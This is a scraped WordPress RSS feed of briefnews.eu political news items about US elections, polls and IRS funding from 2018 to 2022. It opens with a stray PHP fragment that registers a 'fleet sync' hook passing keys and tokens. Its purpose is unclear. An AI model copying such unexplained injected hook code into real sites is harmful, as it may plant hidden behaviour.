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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Democrat – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Sep 2022 01:34:33 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Democrat – Brief News https://briefnews.eu 32 32 Democrat Mark Kelly has a narrow lead over GOP challenger Blake Masters in the Arizona Senate race, while Katie Hobbs and Kari Lake are tied in the gubernatorial contest: poll https://briefnews.eu/democrat-mark-kelly-has-a-narrow-lead-over-gop-challenger-blake-masters-in-the-arizona-senate-race-while-katie-hobbs-and-kari-lake-are-tied-in-the-gubernatorial-contest-poll/ https://briefnews.eu/democrat-mark-kelly-has-a-narrow-lead-over-gop-challenger-blake-masters-in-the-arizona-senate-race-while-katie-hobbs-and-kari-lake-are-tied-in-the-gubernatorial-contest-poll/#respond Sun, 11 Sep 2022 01:34:33 +0000 https://briefnews.eu/democrat-mark-kelly-has-a-narrow-lead-over-gop-challenger-blake-masters-in-the-arizona-senate-race-while-katie-hobbs-and-kari-lake-are-tied-in-the-gubernatorial-contest-poll/ Democratic Sen. Mark Kelly of Arizona outside the Capitol on August 10, 2021.
Democratic Sen. Mark Kelly of Arizona outside the Capitol on August 10, 2021.

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  • Mark Kelly has a 47%-45% lead over Blake Masters in the Arizona Senate race, per a new Emerson poll.
  • Secretary of State Katie Hobbs and former television journalist Kari Lake are tied at 46% support.
  • Arizona in recent years has shifted from a Republican stronghold to a Southwestern swing state.

Arizona Democratic Sen. Mark Kelly has a narrow two-point lead over Republican challenger Blake Masters in state's hotly-contested Senate race, according to a new Emerson College poll.

The survey showed Kelly earning 47% of the vote, while Masters garnered 45% support; five percent of respondents were undecided.

Independents in the poll backed Kelly by a nine-point margin (46%-37%).

The Emerson College poll also showed Democratic Secretary of State Katie Hobbs tied with Republican gubernatorial nominee and former television journalist Kari Lake, with each candidate receiving 46% support.

The top issue among Arizona voters is the economy, with 36% of respondents naming it as the biggest driver of their vote, followed by abortion rights and immigration tied at 16% each as the second-most important issue.

Emerson College polled 627 likely general election voters voters on September 6 and September 7; the survey had a margin of error of plus or minus 3.85 percentage points.

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  • Democrats' Inflation Reduction Act contains nearly $ 80 billion in funding for the IRS.
  • Republicans have said that the funding will go towards hiring an "army" of IRS agents.
  • Sen. Ron Wyden said that Republicans want to save their billionaire friends from audits.

The IRS is set to get nearly $ 80 billion from Democrats' big climate and tax spending package, earmarked to help the overstrained agency improve tax enforcement and customer service — and Republicans haven't been pleased.

Republicans have seized upon the idea that the increased funding could result in an "army" of 87,000 agents, although that number comes from a Treasury Department report estimating that the IRS could hire that many new employees by 2031, according to Time, and a Treasury Department official told Time that the majority of the new hires won't even be IRS agents. 

"If Democrats are going to keep declaring everything to be free, Biden is going to need a lot more taxpayer money," Senator Rick Scott, a Republican from Florida, said in prepared floor remarks on Wednesday, speaking on his legislation to rescind the funding for the IRS. "That, my fellow Americans, is how we get full circle back to the supersized IRS. It's a vicious cycle to fund a radical, socialist agenda.

But Senator Ron Wyden, the chairman of the Senate Finance Committee, isn't humoring that argument.

"Even senators who should supposedly know better are spinning wild fantasy stories about 87,000 agents who are armed to the teeth and coming to the doors of innocent small business people," Wyden said in floor remarks on Wednesday.

Instead, he said, "by attacking the IRS, Republicans are helping high-flying tax cheats get away with breaking the law." The agency is "badly outmatched" by wealthy tax cheats, Wyden said; IRS commissioner Charles Rettig has said that the amount of taxes going uncollected every year could be upwards of $ 1 trillion. A 2021 study from IRS researchers and academics found that the top 1% of American earners did not report about 21% of their income.

"What so many Republicans want to do is preserve the status quo, so only the little guys get audited while billionaire friends" get off scot-free, Wyden said. 

Instead, Wyden stressed that some of the funding would go towards customer service, something that the embattled agency has particularly struggled with since the onset of the pandemic. With a shrinking budget and low staffing levels compounded by new pandemic-era responsibilities like stimulus checks, the IRS accumulated a backlog of millions of unprocessed returns — which it's still digging its way out of. Those processing delays — paired with the IRS's inability to answer the phone and provide prompt customer service — have meant some Americans waited months to receive thousands in tax refunds.

"The far right and the wealthy tax cheats want the IRS to apparently continue to struggle because it makes it easier to attack and vilify. That's why we've heard so many falsehoods about thousands of new IRS agents," Wyden said. "I don't know where this number came from, absent nonsense, conjured out of nothing." 

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The races & the stakes

Democrat Mary Peltola won the US House special election for Alaska's at-large US House seat, vacated by the death of longtime Rep. Don Young in March.

Peltola's win makes her the first-ever woman to represent Alaska in the US House, the first Alaska Native person to serve in Congress, and the first Democrat to represent Alaska in the House since 1972. 

Peltola, Republicans Sarah Palin and Nick Begich III, and Independent Al Gross, who subsequently dropped out of the race, advanced out of the June primary to the August general, which was held with ranked-choice voting. Peltola will serve out the rest of Young's term through January 2023. 

Palin, a former governor and 2008 GOP vice presidential nominee, attempted a political comeback and vied to win a seat in the House. 

Palin, Peltola, Begich, and Republican Tara Sweeney also advanced to the regular primary election to represent Alaska's at-large House seat for a full term, which was held concurrently with the special general election. 

The 2022 elections are the first held under Alaska's brand-new top-four primary voting system, approved in 2020. All candidates from all party affiliations run on the same primary ballot and the top four advance to the general election, which is then held under a ranked-choice voting system. 

The new system was expected to help insulate GOP Sen. Lisa Murkowski, seeking a third term in office, from being defeated by a primary challenger endorsed by President Donald Trump. Murkowski, who drew Trump's ire by voting to convict him for inciting the January 6 insurrection, is now facing a Trump-backed primary challenger in Kelly Tshibaka.

Murkowski, Tshibaka, and Democrat Patricia Chesbro had advanced out of the primary and onto the general.  

Murkowski faced her Trump-backed primary challenger on the same day as GOP Rep. Liz Cheney lost to Trump-endorsed Harriet Hageman in Wyoming's at-large House seat. Cheney voted to impeach Trump and now is investigating his role in the insurrection as the vice-chair of the January 6 Committee.

Four of the 10 GOP House members who voted to impeach Trump — Cheney, Rep. Tom Rice of South Carolina, Rep. Peter Meijer of Michigan, and Rep. Jaime Herrera Beutler of Washington — have lost reelection to Trump-backed primary challengers. Out of the seven GOP Senators who voted to convict Trump in the Senate, Murkowski is the only one up for reelection in 2022. 

In addition to Congress, GOP Gov. Mike Dunleavy and Lt. Gov. Nancy Dalhstorm are seeking another term in office. But Dunleavy faces two serious primary challengers, state Rep. Christopher Kurka and Charlie Pierce, mayor of the Kenai Borough Penninsula, challenging him from his right, Alaska Public Media reports. 

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]]> https://briefnews.eu/results-democrat-mary-peltola-defeats-sarah-palin-in-alaska-us-house-special-election/feed/ 0 Rebel Democrat Tulsi Gabbard hints at 2020 run with a tour of first primary states https://briefnews.eu/rebel-democrat-tulsi-gabbard-hints-at-2020-run-with-a-tour-of-first-primary-states/ https://briefnews.eu/rebel-democrat-tulsi-gabbard-hints-at-2020-run-with-a-tour-of-first-primary-states/#respond Tue, 04 Dec 2018 02:59:24 +0000 http://briefnews.eu/rebel-democrat-tulsi-gabbard-hints-at-2020-run-with-a-tour-of-first-primary-states/ Congresswoman Tulsi Gabbard (D-Hawaii) has indicated her desire to run for president in 2020. The outspoken anti-war advocate said that she is thinking of how she can “best be of service” to the US in a meet-up in New Hampshire.

Speculation has been rife that Gabbard, who backed Bernie Sanders in 2016, is contemplating a presidential bid of her own. However, the popular Hawaii Democrat was tight-lipped about the prospect so far, despite making a series of appearances at high-profile progressive events, firing up her base in Iowa and New Hampshire, the first and the second states to host nationwide party primary elections.

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Gabbard was in New Hampshire to drum up support for her progressive cause on Sunday, when she was asked whether she had already set a date for the big announcement. Short of providing an unequivocal response, Gabbard said that she has been “seriously thinking of how I can be best of service to our country.”

If she ventures to join what is expected to become a crowded field of Democratic contestants, Gabbard might have to face off with Sanders, who also recently signalled another run.

Asked whether the Vermont Senator’s decision would influence hers, Gabbard made clear a possible clash is not on the list of her concerns.

“I think you’d better ask him what his plans are, I’m thinking about how I can be best of service to our country,” she doubled down.

Addressing a packed audience at Rockingham County on Sunday, Gabbard covered many nationwide issues, such as the dominance of big corporate money in US politics and the “counter-productive” interventionist policy of the successive US administrations.

“I’ve been meeting with progressive leaders and activists who are doing the work that’s necessary on the ground to make the kind of change that we need to see across the country at the local level and the national level,” she told Honolulu Civil Beat in the wake of the meeting.

Rumors of Gabbard’s anticipated run have been circling for several months. In September, she headlined a summit of several hundred progressive and grassroots activists in New Hampshire.

In October, Gabbard was one of the keynote speakers in the annual Johnson County Democrats fundraiser in Iowa, where she was reportedly cheered on by supporters to consider a presidential campaign.

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Gabbard resigned as Democratic National Committee (DNC) vice-chair in early 2016 to endorse Sanders and has long since fallen out with the Democratic establishment.

She angered the mainstream left by going on a private fact-finding mission to Syria in 2017, during which she met with President Bashar Assad and other officials. Gabbard, an Iraq War veteran, argues that the US’s primary goal in Syria is to topple the Assad government through terrorist proxies on the ground.

The anti-interventionist congresswoman, known for speaking her mind, recently drew a massive backlash for pointing out that the Trump administration acts “as protectors of AQ [Al-Qaeda] in Syria/Idlib.”

Gabbard also recently called Trump “Saudi Arabia’s b*tch” for his decision to stand with Saudi Arabia in the aftermath of the killing of Washington Post contributor Jamal Khashoggi.

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If Gabbard does run, she would be joining what promises to be a tightly-contested field, as several prominent Democratic party figures have already indicated similar intentions, including Senator Cory Booker of New Jersey, Kamala Harris of California and Senator Elizabeth Warren of Massachusetts, who recently said that she would “take a hard look” at the prospect of running in 2020.

Former Democratic presidential nominee Hillary Clinton is not entirely out of the game either, as rumors of her launching another presidential bid endure.

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]]> https://briefnews.eu/rebel-democrat-tulsi-gabbard-hints-at-2020-run-with-a-tour-of-first-primary-states/feed/ 0 Cindy Hyde-Smith is projected to win in Mississippi runoff, ending tumultuous Senate race against Democrat Mike Espy https://briefnews.eu/cindy-hyde-smith-is-projected-to-win-in-mississippi-runoff-ending-tumultuous-senate-race-against-democrat-mike-espy/ https://briefnews.eu/cindy-hyde-smith-is-projected-to-win-in-mississippi-runoff-ending-tumultuous-senate-race-against-democrat-mike-espy/#respond Wed, 28 Nov 2018 13:37:28 +0000 http://briefnews.eu/cindy-hyde-smith-is-projected-to-win-in-mississippi-runoff-ending-tumultuous-senate-race-against-democrat-mike-espy/ Cindy Hyde-Smith and Mike EspyREUTERS/Jonathan Bachman (L) and REUTERS/Jonathan Ernst/File Photos

  • Mississippi voters elected Cindy Hyde-Smith to a full Senate term on Tuesday, ending a closely watched runoff election again her Democratic challenger Mike Espy.
  • Hyde-Smith had a lead of more than 68,000 votes over Espy as of 10:30 p.m. ET on Tuesday night. It is the last Senate election of the 2018 season.
  • She has held the office since March when she was appointed after Sen. Thad Cochran resigned.
  • Espy, a former congressman and Clinton administration alum, had sought to capitalize on Hyde-Smith’s missteps on the campaign trail, but ultimately fell short in the deep-red state.

Republican Sen. Cindy Hyde-Smith won a Senate runoff election in Mississippi on Tuesday night, beating her Democratic challenger Mike Espy in what had become a tumultuous contest in the state.

Hyde-Smith and Espy were vying for the seat in a deep-red state where President Donald Trump took nearly 58% of the vote in 2016.

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]]> https://briefnews.eu/cindy-hyde-smith-is-projected-to-win-in-mississippi-runoff-ending-tumultuous-senate-race-against-democrat-mike-espy/feed/ 0 Democrat Andrew Gillum officially ends bid for Florida governor, congratulates Republican Ron DeSantis https://briefnews.eu/democrat-andrew-gillum-officially-ends-bid-for-florida-governor-congratulates-republican-ron-desantis/ https://briefnews.eu/democrat-andrew-gillum-officially-ends-bid-for-florida-governor-congratulates-republican-ron-desantis/#respond Sun, 18 Nov 2018 17:27:01 +0000 http://briefnews.eu/democrat-andrew-gillum-officially-ends-bid-for-florida-governor-congratulates-republican-ron-desantis/ andrew gillumAssociated Press/Steve Cannon

  • Democrat Andrew Gillum conceded the Florida governor’s race and congratulated his Republican opponent, Ron DeSantis.
  • Gillum initially conceded on election night, but retracted it after the vote margin narrowed.
  • After a recount, DeSantis still led the race by more than 30,000 votes.

Democrat Andrew Gillum says he is ending his hard-fought race for Florida governor and has congratulated Republican Ron DeSantis.

Gillum posted a live video on Facebook on Saturday afternoon in which he congratulated DeSantis. Gillum had conceded to DeSantis on election night, but retracted it after the margin between the two candidates narrowed. The race went to a legally required recount, but after an initial machine recount DeSantis still led Gillum by more than 30,000 votes.

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]]> https://briefnews.eu/democrat-andrew-gillum-officially-ends-bid-for-florida-governor-congratulates-republican-ron-desantis/feed/ 0 Poll: Trump would lose to every top Democrat woman including Michelle Obama, Hillary Clinton, or Elizabeth Warren https://briefnews.eu/poll-trump-would-lose-to-every-top-democrat-woman-including-michelle-obama-hillary-clinton-or-elizabeth-warren/ https://briefnews.eu/poll-trump-would-lose-to-every-top-democrat-woman-including-michelle-obama-hillary-clinton-or-elizabeth-warren/#respond Mon, 05 Nov 2018 21:42:47 +0000 http://briefnews.eu/poll-trump-would-lose-to-every-top-democrat-woman-including-michelle-obama-hillary-clinton-or-elizabeth-warren/ Michelle Obama Hilary Clinton Elizabeth Warren Donald TrumpChip Somodevilla/Tasos Katopodis/Win McNamee/Andrew Harrer-Pool/Getty Images/Business Insider

  • Every woman touted as a Democratic 2020 candidate would beat President Donald Trump if the election was held today, an Axios poll has found.
  • High-profile names, women senators, and women that Trump has repeatedly targeted are all more popular with voters according to the poll.
  • The poll also found that 64% of women view Trump unfavorably.
  • Michelle Obama and Oprah Winfrey are unlikely to run, while speculation surrounds other female senators as well as Hilary Clinton and Elizabeth Warren.

President Donald Trump would likely lose the 2020 election against every woman floated as a potential Democratic candidate, including Michelle Obama, Hillary Clinton, and Elizabeth Warren, according to an Axios poll.

The poll, released Friday, found that Michelle Obama has a 13 point favorability lead over Trump, while Oprah Winfrey has a 12 point lead over the president.

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Business Insider recently spoke with Republican Rep. Marsha Blackburn in Franklin, Tennessee and Democratic former Gov. Phil Bredesen in Nashville, Tennessee about their competitive race for retiring GOP Sen. Bob Corker’s seat.

Below are transcripts of the interviews, lightly edited for clarity. 

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  • Alaska Governor Bill Walker, a political independent, halted his re-election campaign and endorsed his Democratic challenger, former Sen. Mark Begich.
  • Neither had appeared capable of defeating the Republican front-runner, former state Senator Mike Dunleavy.
  • Walker said his decision to bow out was based entirely on what he felt was “best for Alaska.”

  • Public opinion surveys were already showing Dunleavy running well ahead of the two other men and indicated Begich had greater support than the incumbent governor.

ANCHORAGE, Alaska (Reuters) – Alaska Governor Bill Walker, a political independent, halted his re-election campaign on Friday and endorsed his Democratic challenger, ending a three-way contest in which neither had appeared capable of defeating the Republican front-runner.

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]]> https://briefnews.eu/alaskas-governor-dropped-his-reelection-bid-and-endorsed-a-democrat-against-his-gop-challenger-who-is-leading-in-the-polls/feed/ 0 Texas newspaper that endorsed Ted Cruz in 2012 is now throwing its support behind Democrat Beto O’Rourke for the midterm election https://briefnews.eu/texas-newspaper-that-endorsed-ted-cruz-in-2012-is-now-throwing-its-support-behind-democrat-beto-orourke-for-the-midterm-election/ https://briefnews.eu/texas-newspaper-that-endorsed-ted-cruz-in-2012-is-now-throwing-its-support-behind-democrat-beto-orourke-for-the-midterm-election/#respond Sat, 20 Oct 2018 09:42:34 +0000 http://briefnews.eu/texas-newspaper-that-endorsed-ted-cruz-in-2012-is-now-throwing-its-support-behind-democrat-beto-orourke-for-the-midterm-election/ Beto O'Rourke and Ted CruzTom Fox/The Dallas Morning News via AP, Pool, File

  • The Houston Chronicle has endorsed Democrat Beto O’Rourke for US Senate in Texas over the Republican incumbent Sen. Ted Cruz.
  • The newspaper endorsed Cruz in 2012, but this time around, it had some harsh words for the junior senator, saying Cruz has “exhibited little interest in addressing the needs of his fellow Texans during his six years in office.”
  • The closely watched race between O’Rourke and Cruz has helped to boost O’Rourke, who raised more than $ 38 million in the third quarter. However, his chances of becoming Texas’ first elected Democratic senator since 1993 are long.

The Houston Chronicle has endorsed Democrat Beto O’Rourke for US Senate in Texas over the Republican incumbent Sen. Ted Cruz.

The newspaper endorsed Cruz in 2012, but this time around, if had some harsh words for the junior senator, saying Cruz has “exhibited little interest in addressing the needs of his fellow Texans during his six years in office.”

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